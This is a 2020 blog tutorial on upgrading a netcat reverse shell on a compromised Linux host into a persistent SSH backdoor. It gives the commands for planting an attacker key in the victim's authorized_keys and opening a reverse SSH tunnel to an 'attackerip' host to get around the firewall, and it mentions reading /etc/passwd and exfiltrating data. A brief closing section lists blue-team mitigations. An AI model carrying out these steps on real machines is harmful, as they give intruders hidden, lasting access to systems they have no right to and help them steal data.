SSH Backdoor: How to get a proper shell on the victim’s machine

KSecurity
6 min readApr 28, 2020

--

Introduction

I spent the last couple of days working on exploit. After some work, I could finally get a reverse shell on the victim’s machine through a netcat. Bingo !

Now starts the post-exploitation work. That’s where you realize that netcat gives you a very primitive shell … So, even though it seems possible to work with it and perform some forensics, this is pretty annoying:

  • The connection is not persistent, so if you stop typing it will break
  • Tab does not work
  • You cannot use vi, which means that you cannot write files and you need to cat every file you want to read
  • No color (right, it is not a big deal but still …)

That’s where the ssh backdoor comes in ! This allows you get a nice and clean shell to start your investigation on the instance you just compromised.

This article will be based on the assumption that you already got a reverse shell and want to upgrade it. You do not need to be root to perform this upgrade.

How does SSH work?

SSH is a protocol that accepts different authentication mechanism. The main ones used are the password based auth and the public key based auth.
Assuming that we don’t know the password of the user we just compromised, we are not interested in the first one. We wanna go for a key based authentication. Let’s see how this one works.

The source machine S1 wants to ssh into the destination machine D1:

  • Both parties will first negotiate a shared secret secret S using Diffie-Hellman
  • S1 will propose different authentication mechanism to D1 which will answer based on its settings. We get to the publickey based auth, D1 accepts.
  • S1 sends D1 a key ID
  • D1 checks in ~/.ssh/authorized_keys if there is any mapping for the given keyID. If there is, then it creates a challenge using the corresponding public key Pubk1 present in ~/.ssh/authorized_keys and sends it to S1
  • S1 solves the challenge using Prk1 and sends back the answer
  • After verifying that the answer is correct, D1 authenticates S1

Setting up the backdoor

As you could see, the public key based authentication is based on a public/private RSA key pair. If the public key is stored in ~/.ssh/authorized_keys and if the attacker has the corresponding private key, he can then ssh to the victim’s machine !
Let’s see all the steps:

  1. You need to generate the public/private key pair using this ssh-keygencommand. This will interactively allow you to create your key pair.
    You will get your public and private keys: ~/.ssh/id_rsa and ~/.ssh/id_rsa.pub.
    You do not need to give a passphrase to generate your keys.
  2. Now, copy your public in the victim’s machine in ~/.ssh/authorized_keys:
From your machine: 
scp ~/.ssh/id_rsa.pub victim@victimip:/~/.ssh/
From the victim's machine:
# copy the public in the authorized_keys file
cat ~/.ssh/id_rsa.pub >> authorized_keys
(if there is no authorized_keys file, this will create one)
# set the right permissions
chmod 700 ~/
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

Please do not forget to change the folders/file permissions, this is very important! The authentication can fail if you don’t have the right permissions.
I got this issue and it was hard to debug, trust me …

You’re all set ! Now, from your machine, you can get your shell if you run:

ssh -i ~/.ssh/id_rsa victim@victimip

What ? It does not work ? Mmmm, well, most likely, the ssh port is blocked by a firewall. Indeed, on every system, the minimum requirement for a firewall is not to allow external connections to the internal machines.
Is this gonna stop us ? Not really :) This is where we’ll use a magic trick that a lot of sysadmins already leverage to access legitimately their server from outside their company: The ssh port forwarding tunnel. This will allow us to get an ssh access to the box through an already established encrypted tunnel. This way, we can simply bypass the firewall !

Establish an ssh port forwarding tunnel

The main idea of this technique is to establish an ssh tunnel from your victim to your machine and tunnel back the traffic of your machine through that tunnel to the victim’s machine on port 22.
To do this, you just need the victim’s firewall to allow outgoing ssh traffic, which is usually the case. Our traffic will then go though this already established encrypted tunnel. We call this a reverse SSH tunnel.

SSH has an option to do this: -R. This option allows to perform remote port forwarding.
This is the command you have to run on the victim’s machine:

ssh -N -R 9999:localhost:22 attackermachine@attackerip

The -N option will tell to just establish the tunnel without prompting a shell on the attacker’s machine. You don’t want to execute any command there.

This command says:

Establish an ssh tunnel to the attackers machine and forward any outgoing traffic from the attacker’s machine on localhost port 9999 back to me (victim’s machine) on port 22 localhost.

Once you run this command, you can check on your machine the listener with netstat:

netstat -l
tcp 0 0 localhost:9999 0.0.0.0:* LISTEN

As you can see, there is now a listener on your machine on port 9999 listening for connection on localhost to redirect them through the secure tunnel to port 22 on the victim’s machine.
Then, on your machine, you just need to run:

ssh -i ~/.ssh/id_rsa victimsuser@localhost -p 9999

Here you go, you got a nice reverse shell !
This will be a persistent backdoor. If you want to clean it, you just need to kill the process running on your own machine on port 9999.

On top of that, all the traffic between the victim’s machine and yours is now encrypted. This can very useful if you are performing sensitive commands on victim’s machine (cat /etc/passwd, exfiltrating data, …). You don’t want a random sniffer on the Internet to be able to capture your traffic and access all this data. With a netcat reverse shell, there is always this risk …

From the Blue Team perspective, how can you prevent this kind of firewall bypass to happen ?

For this attack to work, the AllowTcpForwarding, AllowStreamLocalForwarding and GatewayPorts options have to be enabled in OpenSSH configuration file. Fortunately or unfortunately, these options are enabled by default.
The developer could disable them on his server/cloud instance. That would prevent an attacker who got a non root access to the server to get an SSH access.
If he’s root, there is nothing we can do to prevent this bypass as he can always edit the configuration file himself and enable all the options
Moreover, when the victim has to manage a larger number of instances, it is hardly scalable … He would need to centralize the ssh config and modify it for all the instances. Other than that, there are some tools in the market that can apparently prevent the port forwarding from happening. I did not try any of them so I cannot comment on that.

I hope this article was helpful to you !
If you have any question, don’t hesitate to reach out on Twitter. I’ll be happy to answer your questions.

Happy hacking !

--

--